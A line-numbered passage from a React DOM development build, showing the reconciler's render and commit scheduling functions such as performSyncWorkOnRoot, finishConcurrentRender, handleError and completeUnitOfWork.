25759 var didFlushPassiveEffects = flushPassiveEffects();
25760
25761 if (didFlushPassiveEffects) {
25762 // Something in the passive effect phase may have canceled the current task.
25763 // Check if the task node for this root was changed.
25764 if (root.callbackNode !== originalCallbackNode) {
25765 // The current task was canceled. Exit. We don't need to call
25766 // `ensureRootIsScheduled` because the check above implies either that
25767 // there's a new task, or that there's no remaining work on this root.
25768 return null;
25769 }
25770 } // Determine the next lanes to work on, using the fields stored
25771 // on the root.
25772
25773
25774 var lanes = getNextLanes(root, root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes);
25775
25776 if (lanes === NoLanes) {
25777 // Defensive coding. This is never expected to happen.
25778 return null;
25779 } // We disable time-slicing in some cases: if the work has been CPU-bound
25780 // for too long ("expired" work, to prevent starvation), or we're in
25781 // sync-updates-by-default mode.
25782 // TODO: We only check `didTimeout` defensively, to account for a Scheduler
25783 // bug we're still investigating. Once the bug in Scheduler is fixed,
25784 // we can remove this, since we track expiration ourselves.
25785
25786
25787 var shouldTimeSlice = !includesBlockingLane(root, lanes) && !includesExpiredLane(root, lanes) && ( !didTimeout);
25788 var exitStatus = shouldTimeSlice ? renderRootConcurrent(root, lanes) : renderRootSync(root, lanes);
25789
25790 if (exitStatus !== RootInProgress) {
25791 if (exitStatus === RootErrored) {
25792 // If something threw an error, try rendering one more time. We'll
25793 // render synchronously to block concurrent data mutations, and we'll
25794 // includes all pending updates are included. If it still fails after
25795 // the second attempt, we'll give up and commit the resulting tree.
25796 var errorRetryLanes = getLanesToRetrySynchronouslyOnError(root);
25797
25798 if (errorRetryLanes !== NoLanes) {
25799 lanes = errorRetryLanes;
25800 exitStatus = recoverFromConcurrentError(root, errorRetryLanes);
25801 }
25802 }
25803
25804 if (exitStatus === RootFatalErrored) {
25805 var fatalError = workInProgressRootFatalError;
25806 prepareFreshStack(root, NoLanes);
25807 markRootSuspended$1(root, lanes);
25808 ensureRootIsScheduled(root, now());
25809 throw fatalError;
25810 }
25811
25812 if (exitStatus === RootDidNotComplete) {
25813 // The render unwound without completing the tree. This happens in special
25814 // cases where need to exit the current render without producing a
25815 // consistent tree or committing.
25816 //
25817 // This should only happen during a concurrent render, not a discrete or
25818 // synchronous update. We should have already checked for this when we
25819 // unwound the stack.
25820 markRootSuspended$1(root, lanes);
25821 } else {
25822 // The render completed.
25823 // Check if this render may have yielded to a concurrent event, and if so,
25824 // confirm that any newly rendered stores are consistent.
25825 // TODO: It's possible that even a concurrent render may never have yielded
25826 // to the main thread, if it was fast enough, or if it expired. We could
25827 // skip the consistency check in that case, too.
25828 var renderWasConcurrent = !includesBlockingLane(root, lanes);
25829 var finishedWork = root.current.alternate;
25830
25831 if (renderWasConcurrent && !isRenderConsistentWithExternalStores(finishedWork)) {
25832 // A store was mutated in an interleaved event. Render again,
25833 // synchronously, to block further mutations.
25834 exitStatus = renderRootSync(root, lanes); // We need to check again if something threw
25835
25836 if (exitStatus === RootErrored) {
25837 var _errorRetryLanes = getLanesToRetrySynchronouslyOnError(root);
25838
25839 if (_errorRetryLanes !== NoLanes) {
25840 lanes = _errorRetryLanes;
25841 exitStatus = recoverFromConcurrentError(root, _errorRetryLanes); // We assume the tree is now consistent because we didn't yield to any
25842 // concurrent events.
25843 }
25844 }
25845
25846 if (exitStatus === RootFatalErrored) {
25847 var _fatalError = workInProgressRootFatalError;
25848 prepareFreshStack(root, NoLanes);
25849 markRootSuspended$1(root, lanes);
25850 ensureRootIsScheduled(root, now());
25851 throw _fatalError;
25852 }
25853 } // We now have a consistent tree. The next step is either to commit it,
25854 // or, if something suspended, wait to commit it after a timeout.
25855
25856
25857 root.finishedWork = finishedWork;
25858 root.finishedLanes = lanes;
25859 finishConcurrentRender(root, exitStatus, lanes);
25860 }
25861 }
25862
25863 ensureRootIsScheduled(root, now());
25864
25865 if (root.callbackNode === originalCallbackNode) {
25866 // The task node scheduled for this root is the same one that's
25867 // currently executed. Need to return a continuation.
25868 return performConcurrentWorkOnRoot.bind(null, root);
25869 }
25870
25871 return null;
25872 }
25873
25874 function recoverFromConcurrentError(root, errorRetryLanes) {
25875 // If an error occurred during hydration, discard server response and fall
25876 // back to client side render.
25877 // Before rendering again, save the errors from the previous attempt.
25878 var errorsFromFirstAttempt = workInProgressRootConcurrentErrors;
25879
25880 if (isRootDehydrated(root)) {
25881 // The shell failed to hydrate. Set a flag to force a client rendering
25882 // during the next attempt. To do this, we call prepareFreshStack now
25883 // to create the root work-in-progress fiber. This is a bit weird in terms
25884 // of factoring, because it relies on renderRootSync not calling
25885 // prepareFreshStack again in the call below, which happens because the
25886 // root and lanes haven't changed.
25887 //
25888 // TODO: I think what we should do is set ForceClientRender inside
25889 // throwException, like we do for nested Suspense boundaries. The reason
25890 // it's here instead is so we can switch to the synchronous work loop, too.
25891 // Something to consider for a future refactor.
25892 var rootWorkInProgress = prepareFreshStack(root, errorRetryLanes);
25893 rootWorkInProgress.flags |= ForceClientRender;
25894
25895 {
25896 errorHydratingContainer(root.containerInfo);
25897 }
25898 }
25899
25900 var exitStatus = renderRootSync(root, errorRetryLanes);
25901
25902 if (exitStatus !== RootErrored) {
25903 // Successfully finished rendering on retry
25904 // The errors from the failed first attempt have been recovered. Add
25905 // them to the collection of recoverable errors. We'll log them in the
25906 // commit phase.
25907 var errorsFromSecondAttempt = workInProgressRootRecoverableErrors;
25908 workInProgressRootRecoverableErrors = errorsFromFirstAttempt; // The errors from the second attempt should be queued after the errors
25909 // from the first attempt, to preserve the causal sequence.
25910
25911 if (errorsFromSecondAttempt !== null) {
25912 queueRecoverableErrors(errorsFromSecondAttempt);
25913 }
25914 }
25915
25916 return exitStatus;
25917 }
25918
25919 function queueRecoverableErrors(errors) {
25920 if (workInProgressRootRecoverableErrors === null) {
25921 workInProgressRootRecoverableErrors = errors;
25922 } else {
25923 workInProgressRootRecoverableErrors.push.apply(workInProgressRootRecoverableErrors, errors);
25924 }
25925 }
25926
25927 function finishConcurrentRender(root, exitStatus, lanes) {
25928 switch (exitStatus) {
25929 case RootInProgress:
25930 case RootFatalErrored:
25931 {
25932 throw new Error('Root did not complete. This is a bug in React.');
25933 }
25934 // Flow knows about invariant, so it complains if I add a break
25935 // statement, but eslint doesn't know about invariant, so it complains
25936 // if I do. eslint-disable-next-line no-fallthrough
25937
25938 case RootErrored:
25939 {
25940 // We should have already attempted to retry this tree. If we reached
25941 // this point, it errored again. Commit it.
25942 commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
25943 break;
25944 }
25945
25946 case RootSuspended:
25947 {
25948 markRootSuspended$1(root, lanes); // We have an acceptable loading state. We need to figure out if we
25949 // should immediately commit it or wait a bit.
25950
25951 if (includesOnlyRetries(lanes) && // do not delay if we're inside an act() scope
25952 !shouldForceFlushFallbacksInDEV()) {
25953 // This render only included retries, no updates. Throttle committing
25954 // retries so that we don't show too many loading states too quickly.
25955 var msUntilTimeout = globalMostRecentFallbackTime + FALLBACK_THROTTLE_MS - now(); // Don't bother with a very short suspense time.
25956
25957 if (msUntilTimeout > 10) {
25958 var nextLanes = getNextLanes(root, NoLanes);
25959
25960 if (nextLanes !== NoLanes) {
25961 // There's additional work on this root.
25962 break;
25963 }
25964
25965 var suspendedLanes = root.suspendedLanes;
25966
25967 if (!isSubsetOfLanes(suspendedLanes, lanes)) {
25968 // We should prefer to render the fallback of at the last
25969 // suspended level. Ping the last suspended level to try
25970 // rendering it again.
25971 // FIXME: What if the suspended lanes are Idle? Should not restart.
25972 var eventTime = requestEventTime();
25973 markRootPinged(root, suspendedLanes);
25974 break;
25975 } // The render is suspended, it hasn't timed out, and there's no
25976 // lower priority work to do. Instead of committing the fallback
25977 // immediately, wait for more data to arrive.
25978
25979
25980 root.timeoutHandle = scheduleTimeout(commitRoot.bind(null, root, workInProgressRootRecoverableErrors, workInProgressTransitions), msUntilTimeout);
25981 break;
25982 }
25983 } // The work expired. Commit immediately.
25984
25985
25986 commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
25987 break;
25988 }
25989
25990 case RootSuspendedWithDelay:
25991 {
25992 markRootSuspended$1(root, lanes);
25993
25994 if (includesOnlyTransitions(lanes)) {
25995 // This is a transition, so we should exit without committing a
25996 // placeholder and without scheduling a timeout. Delay indefinitely
25997 // until we receive more data.
25998 break;
25999 }
26000
26001 if (!shouldForceFlushFallbacksInDEV()) {
26002 // This is not a transition, but we did trigger an avoided state.
26003 // Schedule a placeholder to display after a short delay, using the Just
26004 // Noticeable Difference.
26005 // TODO: Is the JND optimization worth the added complexity? If this is
26006 // the only reason we track the event time, then probably not.
26007 // Consider removing.
26008 var mostRecentEventTime = getMostRecentEventTime(root, lanes);
26009 var eventTimeMs = mostRecentEventTime;
26010 var timeElapsedMs = now() - eventTimeMs;
26011
26012 var _msUntilTimeout = jnd(timeElapsedMs) - timeElapsedMs; // Don't bother with a very short suspense time.
26013
26014
26015 if (_msUntilTimeout > 10) {
26016 // Instead of committing the fallback immediately, wait for more data
26017 // to arrive.
26018 root.timeoutHandle = scheduleTimeout(commitRoot.bind(null, root, workInProgressRootRecoverableErrors, workInProgressTransitions), _msUntilTimeout);
26019 break;
26020 }
26021 } // Commit the placeholder.
26022
26023
26024 commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
26025 break;
26026 }
26027
26028 case RootCompleted:
26029 {
26030 // The work completed. Ready to commit.
26031 commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
26032 break;
26033 }
26034
26035 default:
26036 {
26037 throw new Error('Unknown root exit status.');
26038 }
26039 }
26040 }
26041
26042 function isRenderConsistentWithExternalStores(finishedWork) {
26043 // Search the rendered tree for external store reads, and check whether the
26044 // stores were mutated in a concurrent event. Intentionally using an iterative
26045 // loop instead of recursion so we can exit early.
26046 var node = finishedWork;
26047
26048 while (true) {
26049 if (node.flags & StoreConsistency) {
26050 var updateQueue = node.updateQueue;
26051
26052 if (updateQueue !== null) {
26053 var checks = updateQueue.stores;
26054
26055 if (checks !== null) {
26056 for (var i = 0; i < checks.length; i++) {
26057 var check = checks[i];
26058 var getSnapshot = check.getSnapshot;
26059 var renderedValue = check.value;
26060
26061 try {
26062 if (!objectIs(getSnapshot(), renderedValue)) {
26063 // Found an inconsistent store.
26064 return false;
26065 }
26066 } catch (error) {
26067 // If `getSnapshot` throws, return `false`. This will schedule
26068 // a re-render, and the error will be rethrown during render.
26069 return false;
26070 }
26071 }
26072 }
26073 }
26074 }
26075
26076 var child = node.child;
26077
26078 if (node.subtreeFlags & StoreConsistency && child !== null) {
26079 child.return = node;
26080 node = child;
26081 continue;
26082 }
26083
26084 if (node === finishedWork) {
26085 return true;
26086 }
26087
26088 while (node.sibling === null) {
26089 if (node.return === null || node.return === finishedWork) {
26090 return true;
26091 }
26092
26093 node = node.return;
26094 }
26095
26096 node.sibling.return = node.return;
26097 node = node.sibling;
26098 } // Flow doesn't know this is unreachable, but eslint does
26099 // eslint-disable-next-line no-unreachable
26100
26101
26102 return true;
26103 }
26104
26105 function markRootSuspended$1(root, suspendedLanes) {
26106 // When suspending, we should always exclude lanes that were pinged or (more
26107 // rarely, since we try to avoid it) updated during the render phase.
26108 // TODO: Lol maybe there's a better way to factor this besides this
26109 // obnoxiously named function :)
26110 suspendedLanes = removeLanes(suspendedLanes, workInProgressRootPingedLanes);
26111 suspendedLanes = removeLanes(suspendedLanes, workInProgressRootInterleavedUpdatedLanes);
26112 markRootSuspended(root, suspendedLanes);
26113 } // This is the entry point for synchronous tasks that don't go
26114 // through Scheduler
26115
26116
26117 function performSyncWorkOnRoot(root) {
26118 {
26119 syncNestedUpdateFlag();
26120 }
26121
26122 if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
26123 throw new Error('Should not already be working.');
26124 }
26125
26126 flushPassiveEffects();
26127 var lanes = getNextLanes(root, NoLanes);
26128
26129 if (!includesSomeLane(lanes, SyncLane)) {
26130 // There's no remaining sync work left.
26131 ensureRootIsScheduled(root, now());
26132 return null;
26133 }
26134
26135 var exitStatus = renderRootSync(root, lanes);
26136
26137 if (root.tag !== LegacyRoot && exitStatus === RootErrored) {
26138 // If something threw an error, try rendering one more time. We'll render
26139 // synchronously to block concurrent data mutations, and we'll includes
26140 // all pending updates are included. If it still fails after the second
26141 // attempt, we'll give up and commit the resulting tree.
26142 var errorRetryLanes = getLanesToRetrySynchronouslyOnError(root);
26143
26144 if (errorRetryLanes !== NoLanes) {
26145 lanes = errorRetryLanes;
26146 exitStatus = recoverFromConcurrentError(root, errorRetryLanes);
26147 }
26148 }
26149
26150 if (exitStatus === RootFatalErrored) {
26151 var fatalError = workInProgressRootFatalError;
26152 prepareFreshStack(root, NoLanes);
26153 markRootSuspended$1(root, lanes);
26154 ensureRootIsScheduled(root, now());
26155 throw fatalError;
26156 }
26157
26158 if (exitStatus === RootDidNotComplete) {
26159 throw new Error('Root did not complete. This is a bug in React.');
26160 } // We now have a consistent tree. Because this is a sync render, we
26161 // will commit it even if something suspended.
26162
26163
26164 var finishedWork = root.current.alternate;
26165 root.finishedWork = finishedWork;
26166 root.finishedLanes = lanes;
26167 commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions); // Before exiting, make sure there's a callback scheduled for the next
26168 // pending level.
26169
26170 ensureRootIsScheduled(root, now());
26171 return null;
26172 }
26173
26174 function flushRoot(root, lanes) {
26175 if (lanes !== NoLanes) {
26176 markRootEntangled(root, mergeLanes(lanes, SyncLane));
26177 ensureRootIsScheduled(root, now());
26178
26179 if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
26180 resetRenderTimer();
26181 flushSyncCallbacks();
26182 }
26183 }
26184 }
26185 function batchedUpdates$1(fn, a) {
26186 var prevExecutionContext = executionContext;
26187 executionContext |= BatchedContext;
26188
26189 try {
26190 return fn(a);
26191 } finally {
26192 executionContext = prevExecutionContext; // If there were legacy sync updates, flush them at the end of the outer
26193 // most batchedUpdates-like method.
26194
26195 if (executionContext === NoContext && // Treat `act` as if it's inside `batchedUpdates`, even in legacy mode.
26196 !( ReactCurrentActQueue$1.isBatchingLegacy)) {
26197 resetRenderTimer();
26198 flushSyncCallbacksOnlyInLegacyMode();
26199 }
26200 }
26201 }
26202 function discreteUpdates(fn, a, b, c, d) {
26203 var previousPriority = getCurrentUpdatePriority();
26204 var prevTransition = ReactCurrentBatchConfig$3.transition;
26205
26206 try {
26207 ReactCurrentBatchConfig$3.transition = null;
26208 setCurrentUpdatePriority(DiscreteEventPriority);
26209 return fn(a, b, c, d);
26210 } finally {
26211 setCurrentUpdatePriority(previousPriority);
26212 ReactCurrentBatchConfig$3.transition = prevTransition;
26213
26214 if (executionContext === NoContext) {
26215 resetRenderTimer();
26216 }
26217 }
26218 } // Overload the definition to the two valid signatures.
26219 // Warning, this opts-out of checking the function body.
26220
26221 // eslint-disable-next-line no-redeclare
26222 function flushSync(fn) {
26223 // In legacy mode, we flush pending passive effects at the beginning of the
26224 // next event, not at the end of the previous one.
26225 if (rootWithPendingPassiveEffects !== null && rootWithPendingPassiveEffects.tag === LegacyRoot && (executionContext & (RenderContext | CommitContext)) === NoContext) {
26226 flushPassiveEffects();
26227 }
26228
26229 var prevExecutionContext = executionContext;
26230 executionContext |= BatchedContext;
26231 var prevTransition = ReactCurrentBatchConfig$3.transition;
26232 var previousPriority = getCurrentUpdatePriority();
26233
26234 try {
26235 ReactCurrentBatchConfig$3.transition = null;
26236 setCurrentUpdatePriority(DiscreteEventPriority);
26237
26238 if (fn) {
26239 return fn();
26240 } else {
26241 return undefined;
26242 }
26243 } finally {
26244 setCurrentUpdatePriority(previousPriority);
26245 ReactCurrentBatchConfig$3.transition = prevTransition;
26246 executionContext = prevExecutionContext; // Flush the immediate callbacks that were scheduled during this batch.
26247 // Note that this will happen even if batchedUpdates is higher up
26248 // the stack.
26249
26250 if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
26251 flushSyncCallbacks();
26252 }
26253 }
26254 }
26255 function isAlreadyRendering() {
26256 // Used by the renderer to print a warning if certain APIs are called from
26257 // the wrong context.
26258 return (executionContext & (RenderContext | CommitContext)) !== NoContext;
26259 }
26260 function pushRenderLanes(fiber, lanes) {
26261 push(subtreeRenderLanesCursor, subtreeRenderLanes, fiber);
26262 subtreeRenderLanes = mergeLanes(subtreeRenderLanes, lanes);
26263 workInProgressRootIncludedLanes = mergeLanes(workInProgressRootIncludedLanes, lanes);
26264 }
26265 function popRenderLanes(fiber) {
26266 subtreeRenderLanes = subtreeRenderLanesCursor.current;
26267 pop(subtreeRenderLanesCursor, fiber);
26268 }
26269
26270 function prepareFreshStack(root, lanes) {
26271 root.finishedWork = null;
26272 root.finishedLanes = NoLanes;
26273 var timeoutHandle = root.timeoutHandle;
26274
26275 if (timeoutHandle !== noTimeout) {
26276 // The root previous suspended and scheduled a timeout to commit a fallback
26277 // state. Now that we have additional work, cancel the timeout.
26278 root.timeoutHandle = noTimeout; // $FlowFixMe Complains noTimeout is not a TimeoutID, despite the check above
26279
26280 cancelTimeout(timeoutHandle);
26281 }
26282
26283 if (workInProgress !== null) {
26284 var interruptedWork = workInProgress.return;
26285
26286 while (interruptedWork !== null) {
26287 var current = interruptedWork.alternate;
26288 unwindInterruptedWork(current, interruptedWork);
26289 interruptedWork = interruptedWork.return;
26290 }
26291 }
26292
26293 workInProgressRoot = root;
26294 var rootWorkInProgress = createWorkInProgress(root.current, null);
26295 workInProgress = rootWorkInProgress;
26296 workInProgressRootRenderLanes = subtreeRenderLanes = workInProgressRootIncludedLanes = lanes;
26297 workInProgressRootExitStatus = RootInProgress;
26298 workInProgressRootFatalError = null;
26299 workInProgressRootSkippedLanes = NoLanes;
26300 workInProgressRootInterleavedUpdatedLanes = NoLanes;
26301 workInProgressRootPingedLanes = NoLanes;
26302 workInProgressRootConcurrentErrors = null;
26303 workInProgressRootRecoverableErrors = null;
26304 finishQueueingConcurrentUpdates();
26305
26306 {
26307 ReactStrictModeWarnings.discardPendingWarnings();
26308 }
26309
26310 return rootWorkInProgress;
26311 }
26312
26313 function handleError(root, thrownValue) {
26314 do {
26315 var erroredWork = workInProgress;
26316
26317 try {
26318 // Reset module-level state that was set during the render phase.
26319 resetContextDependencies();
26320 resetHooksAfterThrow();
26321 resetCurrentFiber(); // TODO: I found and added this missing line while investigating a
26322 // separate issue. Write a regression test using string refs.
26323
26324 ReactCurrentOwner$2.current = null;
26325
26326 if (erroredWork === null || erroredWork.return === null) {
26327 // Expected to be working on a non-root fiber. This is a fatal error
26328 // because there's no ancestor that can handle it; the root is
26329 // supposed to capture all errors that weren't caught by an error
26330 // boundary.
26331 workInProgressRootExitStatus = RootFatalErrored;
26332 workInProgressRootFatalError = thrownValue; // Set `workInProgress` to null. This represents advancing to the next
26333 // sibling, or the parent if there are no siblings. But since the root
26334 // has no siblings nor a parent, we set it to null. Usually this is
26335 // handled by `completeUnitOfWork` or `unwindWork`, but since we're
26336 // intentionally not calling those, we need set it here.
26337 // TODO: Consider calling `unwindWork` to pop the contexts.
26338
26339 workInProgress = null;
26340 return;
26341 }
26342
26343 if (enableProfilerTimer && erroredWork.mode & ProfileMode) {
26344 // Record the time spent rendering before an error was thrown. This
26345 // avoids inaccurate Profiler durations in the case of a
26346 // suspended render.
26347 stopProfilerTimerIfRunningAndRecordDelta(erroredWork, true);
26348 }
26349
26350 if (enableSchedulingProfiler) {
26351 markComponentRenderStopped();
26352
26353 if (thrownValue !== null && typeof thrownValue === 'object' && typeof thrownValue.then === 'function') {
26354 var wakeable = thrownValue;
26355 markComponentSuspended(erroredWork, wakeable, workInProgressRootRenderLanes);
26356 } else {
26357 markComponentErrored(erroredWork, thrownValue, workInProgressRootRenderLanes);
26358 }
26359 }
26360
26361 throwException(root, erroredWork.return, erroredWork, thrownValue, workInProgressRootRenderLanes);
26362 completeUnitOfWork(erroredWork);
26363 } catch (yetAnotherThrownValue) {
26364 // Something in the return path also threw.
26365 thrownValue = yetAnotherThrownValue;
26366
26367 if (workInProgress === erroredWork && erroredWork !== null) {
26368 // If this boundary has already errored, then we had trouble processing
26369 // the error. Bubble it to the next boundary.
26370 erroredWork = erroredWork.return;
26371 workInProgress = erroredWork;
26372 } else {
26373 erroredWork = workInProgress;
26374 }
26375
26376 continue;
26377 } // Return to the normal work loop.
26378
26379
26380 return;
26381 } while (true);
26382 }
26383
26384 function pushDispatcher() {
26385 var prevDispatcher = ReactCurrentDispatcher$2.current;
26386 ReactCurrentDispatcher$2.current = ContextOnlyDispatcher;
26387
26388 if (prevDispatcher === null) {
26389 // The React isomorphic package does not include a default dispatcher.
26390 // Instead the first renderer will lazily attach one, in order to give
26391 // nicer error messages.
26392 return ContextOnlyDispatcher;
26393 } else {
26394 return prevDispatcher;
26395 }
26396 }
26397
26398 function popDispatcher(prevDispatcher) {
26399 ReactCurrentDispatcher$2.current = prevDispatcher;
26400 }
26401
26402 function markCommitTimeOfFallback() {
26403 globalMostRecentFallbackTime = now();
26404 }
26405 function markSkippedUpdateLanes(lane) {
26406 workInProgressRootSkippedLanes = mergeLanes(lane, workInProgressRootSkippedLanes);
26407 }
26408 function renderDidSuspend() {
26409 if (workInProgressRootExitStatus === RootInProgress) {
26410 workInProgressRootExitStatus = RootSuspended;
26411 }
26412 }
26413 function renderDidSuspendDelayIfPossible() {
26414 if (workInProgressRootExitStatus === RootInProgress || workInProgressRootExitStatus === RootSuspended || workInProgressRootExitStatus === RootErrored) {
26415 workInProgressRootExitStatus = RootSuspendedWithDelay;
26416 } // Check if there are updates that we skipped tree that might have unblocked
26417 // this render.
26418
26419
26420 if (workInProgressRoot !== null && (includesNonIdleWork(workInProgressRootSkippedLanes) || includesNonIdleWork(workInProgressRootInterleavedUpdatedLanes))) {
26421 // Mark the current render as suspended so that we switch to working on
26422 // the updates that were skipped. Usually we only suspend at the end of
26423 // the render phase.
26424 // TODO: We should probably always mark the root as suspended immediately
26425 // (inside this function), since by suspending at the end of the render
26426 // phase introduces a potential mistake where we suspend lanes that were
26427 // pinged or updated while we were rendering.
26428 markRootSuspended$1(workInProgressRoot, workInProgressRootRenderLanes);
26429 }
26430 }
26431 function renderDidError(error) {
26432 if (workInProgressRootExitStatus !== RootSuspendedWithDelay) {
26433 workInProgressRootExitStatus = RootErrored;
26434 }
26435
26436 if (workInProgressRootConcurrentErrors === null) {
26437 workInProgressRootConcurrentErrors = [error];
26438 } else {
26439 workInProgressRootConcurrentErrors.push(error);
26440 }
26441 } // Called during render to determine if anything has suspended.
26442 // Returns false if we're not sure.
26443
26444 function renderHasNotSuspendedYet() {
26445 // If something errored or completed, we can't really be sure,
26446 // so those are false.
26447 return workInProgressRootExitStatus === RootInProgress;
26448 }
26449
26450 function renderRootSync(root, lanes) {
26451 var prevExecutionContext = executionContext;
26452 executionContext |= RenderContext;
26453 var prevDispatcher = pushDispatcher(); // If the root or lanes have changed, throw out the existing stack
26454 // and prepare a fresh one. Otherwise we'll continue where we left off.
26455
26456 if (workInProgressRoot !== root || workInProgressRootRenderLanes !== lanes) {
26457 {
26458 if (isDevToolsPresent) {
26459 var memoizedUpdaters = root.memoizedUpdaters;
26460
26461 if (memoizedUpdaters.size > 0) {
26462 restorePendingUpdaters(root, workInProgressRootRenderLanes);
26463 memoizedUpdaters.clear();
26464 } // At this point, move Fibers that scheduled the upcoming work from the Map to the Set.
26465 // If we bailout on this work, we'll move them back (like above).
26466 // It's important to move them now in case the work spawns more work at the same priority with different updaters.
26467 // That way we can keep the current update and future updates separate.
26468
26469
26470 movePendingFibersToMemoized(root, lanes);
26471 }
26472 }
26473
26474 workInProgressTransitions = getTransitionsForLanes();
26475 prepareFreshStack(root, lanes);
26476 }
26477
26478 {
26479 markRenderStarted(lanes);
26480 }
26481
26482 do {
26483 try {
26484 workLoopSync();
26485 break;
26486 } catch (thrownValue) {
26487 handleError(root, thrownValue);
26488 }
26489 } while (true);
26490
26491 resetContextDependencies();
26492 executionContext = prevExecutionContext;
26493 popDispatcher(prevDispatcher);
26494
26495 if (workInProgress !== null) {
26496 // This is a sync render, so we should have finished the whole tree.
26497 throw new Error('Cannot commit an incomplete root. This error is likely caused by a ' + 'bug in React. Please file an issue.');
26498 }
26499
26500 {
26501 markRenderStopped();
26502 } // Set this to null to indicate there's no in-progress render.
26503
26504
26505 workInProgressRoot = null;
26506 workInProgressRootRenderLanes = NoLanes;
26507 return workInProgressRootExitStatus;
26508 } // The work loop is an extremely hot path. Tell Closure not to inline it.
26509
26510 /** @noinline */
26511
26512
26513 function workLoopSync() {
26514 // Already timed out, so perform work without checking if we need to yield.
26515 while (workInProgress !== null) {
26516 performUnitOfWork(workInProgress);
26517 }
26518 }
26519
26520 function renderRootConcurrent(root, lanes) {
26521 var prevExecutionContext = executionContext;
26522 executionContext |= RenderContext;
26523 var prevDispatcher = pushDispatcher(); // If the root or lanes have changed, throw out the existing stack
26524 // and prepare a fresh one. Otherwise we'll continue where we left off.
26525
26526 if (workInProgressRoot !== root || workInProgressRootRenderLanes !== lanes) {
26527 {
26528 if (isDevToolsPresent) {
26529 var memoizedUpdaters = root.memoizedUpdaters;
26530
26531 if (memoizedUpdaters.size > 0) {
26532 restorePendingUpdaters(root, workInProgressRootRenderLanes);
26533 memoizedUpdaters.clear();
26534 } // At this point, move Fibers that scheduled the upcoming work from the Map to the Set.
26535 // If we bailout on this work, we'll move them back (like above).
26536 // It's important to move them now in case the work spawns more work at the same priority with different updaters.
26537 // That way we can keep the current update and future updates separate.
26538
26539
26540 movePendingFibersToMemoized(root, lanes);
26541 }
26542 }
26543
26544 workInProgressTransitions = getTransitionsForLanes();
26545 resetRenderTimer();
26546 prepareFreshStack(root, lanes);
26547 }
26548
26549 {
26550 markRenderStarted(lanes);
26551 }
26552
26553 do {
26554 try {
26555 workLoopConcurrent();
26556 break;
26557 } catch (thrownValue) {
26558 handleError(root, thrownValue);
26559 }
26560 } while (true);
26561
26562 resetContextDependencies();
26563 popDispatcher(prevDispatcher);
26564 executionContext = prevExecutionContext;
26565
26566
26567 if (workInProgress !== null) {
26568 // Still work remaining.
26569 {
26570 markRenderYielded();
26571 }
26572
26573 return RootInProgress;
26574 } else {
26575 // Completed the tree.
26576 {
26577 markRenderStopped();
26578 } // Set this to null to indicate there's no in-progress render.
26579
26580
26581 workInProgressRoot = null;
26582 workInProgressRootRenderLanes = NoLanes; // Return the final exit status.
26583
26584 return workInProgressRootExitStatus;
26585 }
26586 }
26587 /** @noinline */
26588
26589
26590 function workLoopConcurrent() {
26591 // Perform work until Scheduler asks us to yield
26592 while (workInProgress !== null && !shouldYield()) {
26593 performUnitOfWork(workInProgress);
26594 }
26595 }
26596
26597 function performUnitOfWork(unitOfWork) {
26598 // The current, flushed, state of this fiber is the alternate. Ideally
26599 // nothing should rely on this, but relying on it here means that we don't
26600 // need an additional field on the work in progress.
26601 var current = unitOfWork.alternate;
26602 setCurrentFiber(unitOfWork);
26603 var next;
26604
26605 if ( (unitOfWork.mode & ProfileMode) !== NoMode) {
26606 startProfilerTimer(unitOfWork);
26607 next = beginWork$1(current, unitOfWork, subtreeRenderLanes);
26608 stopProfilerTimerIfRunningAndRecordDelta(unitOfWork, true);
26609 } else {
26610 next = beginWork$1(current, unitOfWork, subtreeRenderLanes);
26611 }
26612
26613 resetCurrentFiber();
26614 unitOfWork.memoizedProps = unitOfWork.pendingProps;
26615
26616 if (next === null) {
26617 // If this doesn't spawn new work, complete the current work.
26618 completeUnitOfWork(unitOfWork);
26619 } else {
26620 workInProgress = next;
26621 }
26622
26623 ReactCurrentOwner$2.current = null;
26624 }
26625
26626 function completeUnitOfWork(unitOfWork) {
26627 // Attempt to complete the current unit of work, then move to the next
26628 // sibling. If there are no more siblings, return to the parent fiber.
26629 var completedWork = unitOfWork;
26630
26631 do {
26632 // The current, flushed, state of this fiber is the alternate. Ideally
26633 // nothing should rely on this, but relying on it here means that we don't
26634 // need an additional field on the work in progress.
26635 var current = completedWork.alternate;
26636 var returnFiber = completedWork.return; // Check if the work completed or if something threw.
26637
26638 if ((completedWork.flags & Incomplete) === NoFlags) {
26639 setCurrentFiber(completedWork);
26640 var next = void 0;
26641
26642 if ( (completedWork.mode & ProfileMode) === NoMode) {
26643 next = completeWork(current, completedWork, subtreeRenderLanes);
26644 } else {
26645 startProfilerTimer(completedWork);
26646 next = completeWork(current, completedWork, subtreeRenderLanes); // Update render duration assuming we didn't error.
26647
26648 stopProfilerTimerIfRunningAndRecordDelta(completedWork, false);
26649 }
26650
26651 resetCurrentFiber();
26652
26653 if (next !== null) {
26654 // Completing this fiber spawned new work. Work on that next.
26655 workInProgress = next;
26656 return;
26657 }
26658 } else {
26659 // This fiber did not complete because something threw. Pop values off
26660 // the stack without entering the complete phase. If this is a boundary,
26661 // capture values if possible.
26662 var _next = unwindWork(current, completedWork); // Because this fiber did not complete, don't reset its lanes.
26663
26664
26665 if (_next !== null) {
26666 // If completing this work spawned new work, do that next. We'll come
26667 // back here again.
26668 // Since we're restarting, remove anything that is not a host effect
26669 // from the effect tag.
26670 _next.flags &= HostEffectMask;
26671 workInProgress = _next;
26672 return;
26673 }
26674
26675 if ( (completedWork.mode & ProfileMode) !== NoMode) {
26676 // Record the render duration for the fiber that errored.
26677 stopProfilerTimerIfRunningAndRecordDelta(completedWork, false); // Include the time spent working on failed children before continuing.
26678
26679 var actualDuration = completedWork.actualDuration;
26680 var child = completedWork.child;
26681
26682 while (child !== null) {
26683 actualDuration += child.actualDuration;
26684 child = child.sibling;
26685 }
26686
26687 completedWork.actualDuration = actualDuration;
26688 }
26689
26690 if (returnFiber !== null) {
26691 // Mark the parent fiber as incomplete and clear its subtree flags.
26692 returnFiber.flags |= Incomplete;
26693 returnFiber.subtreeFlags = NoFlags;
26694 returnFiber.deletions = null;
26695 } else {
